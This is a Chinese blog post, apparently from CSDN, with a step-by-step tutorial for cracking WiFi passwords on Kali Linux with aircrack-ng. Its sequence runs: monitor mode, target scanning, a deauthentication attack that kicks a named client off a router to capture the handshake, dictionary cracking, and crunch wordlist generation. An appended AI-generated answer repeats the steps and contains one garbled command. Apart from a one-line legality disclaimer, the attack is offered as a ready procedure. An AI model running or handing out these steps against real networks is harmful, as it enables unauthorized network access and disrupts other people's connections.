kali使用aircrack无线攻击wifi超详细步骤(包含监听网卡启动,获得握手包,密码本生成)

本文介绍了如何在KaliLinux环境下利用aircrack-ng工具进行WiFi网络监听。首先确保使用免驱监听网卡,并通过ifconfig检查。接着使用airmon-ng启动监听模式,然后通过airodump-ng捕获WiFi信息。针对特定路由器,aireplay-ng可以发起攻击断开用户连接,最后用aircrack-ng尝试密码破解。同时强调技术应合法使用,提高网络安全意识。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

平台及工具:

linux:kali平台

aircrack - ng 工具

免驱监听网卡

详细操作

1.首先启动kali,插入网卡,输入ifconfig查看kali是否检测到监听网卡,注意监听网卡要免驱动的。

ifconfig   //查看自身网卡信息

 如图,看到wlan0就代表kali成功检测到监听网卡啦。

2.在启动网卡的监听模式之前一定要杀死进程,否则将会监听不到附近的WiFi,执行下面命令杀死进程。

airmon-ng check kill   //杀死有关进程

3.杀死进程以后,执行以下命令开启网卡的监听模式。

airmon-ng start wlan0   //启动网卡的监听模式

 4.开启网卡的监听模式之后,执行命令监听附近WIFI信息,监听到需要的信息之后ctrl+c停止。

airodump-ng wlan0mon   //监听周围的无线WiFi

 5.执行以下命令查看监听到的路由器的详细信息。

airodump-ng wlan0mon -c 1 --bssid 50:BD:5F:8B:26:FE -w ~/wlan0mon

对上述参数的解释

1.-c:接的是上图中的CH,代表信道。
2.--bssid:路由器的MAC地址。
3.PWR:信号强度,数值越大代表信号越强。
4.ENC:使用的加密方式。
5.AUTH:代表认证方式。
6.ESSID:代表WIFI名字。
7.-w ~/wlan0mon:将抓取的流量包保存到根目录下并命名为wlan0mon。

输入上述命令后的效果如上图所示,会对指定的路由器进行监控,第一行为WIFI主机,第二行为连接了该WIFI的用户。

6.执行攻击命令断开该用户与WIFI主机之间的连接。

aireplay-ng -0 50 -a 50:BD:5F:8B:26:FE -c 2C:D2:6B:CA:54:8D wlan0mon

 -0 表示发起默认的攻击,之后接的数字代表攻击次数,上图是攻击50次,如果想进行断网攻击就只用填写0,默认一直攻击。

-a 指定的无线路由器的BSSID

-c 指定断开连接的用户的MAC地址(上图中为STATION)

如此便可以获得握手包啦。

7.执行命令跑密码本获得WiFi密码。

aircrack-ng wlan0mon-01.cap -w password.txt

wlan0mon-01.cap 代表握手包
password.txt 代表密码本

附:密码本的生成和导出方法。

crunch 9 9 -p 123 321 111 333

解释一下”-p”之前是几位数密码,需要注意我这里写了两个9,因为这其实是个范围,相当与9位~9位,如果是不确定几位,就是这是个范围,比方说是4~7位,就写

crunch 4 7 -p 123 321 111 333

如果要导出到根下的password.txt,就写 

crunch 4 7 -p 123 321 111 333 > /password.txt

破解过程这里就不演示啦,最后说一句,善用技术,遵纪守法,加强网络安全意识,此文仅供学习参考。

Kali Linux中,抓取握手包通常用于无线网络的安全测试和分析。以下是使用Aircrack-ng工具包抓取握手包步骤: 1. **安装Aircrack-ng**: 如果你还没有安装Aircrack-ng,可以使用以下命令进行安装: ```bash sudo apt-get update sudo apt-get install aircrack-ng ``` 2. **启动监控模式**: 首先,你需要将无线网卡设置为监控模式。假设你的无线网卡接口名为`wlan0`,可以使用以下命令: ```bash sudo airmon-ng start wlan0 ``` 这将创建一个新的监控模式接口,通常命名为`wlan0mon`。 3. **扫描无线网络**: 使用`airodump-ng`扫描周围的无线网络: ```bash sudo airodump-ng wlan0mon ``` 这将显示附近的所有无线网络及其基本信息。找到你要抓取握手包的目标网络,记下其BSSID和频道(CH)。 4. **抓取握手包**: 使用`airodump-ng`抓取目标网络的握手包。假设目标网络的BSSID为`AA:BB:CC:DD:EE:FF`,频道为`6`,可以使用以下命令: ```bash sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon ``` 这个命令会监听目标网络,并将抓取到的数据包保存到`handshake`文件中。 5. **强制重新认证**: 为了加快握手包的抓取速度,可以使用`aireplay-0 2 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA wlan0mon ``` 其中,`-0 2`表示发送两次解除认证包,`-a`后跟目标网络的BSSID,`-c`后跟客户端的MAC地址。 6. **检查抓取结果**: 抓取到的握手包会保存在当前目录下,文件名为`handshake-01.cap`。你可以使用以下命令检查是否成功抓取到握手包: ```bash aircrack-ng handshake-01.cap ``` 通过以上步骤,你就可以在Kali Linux中抓取到无线网络的握手包
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值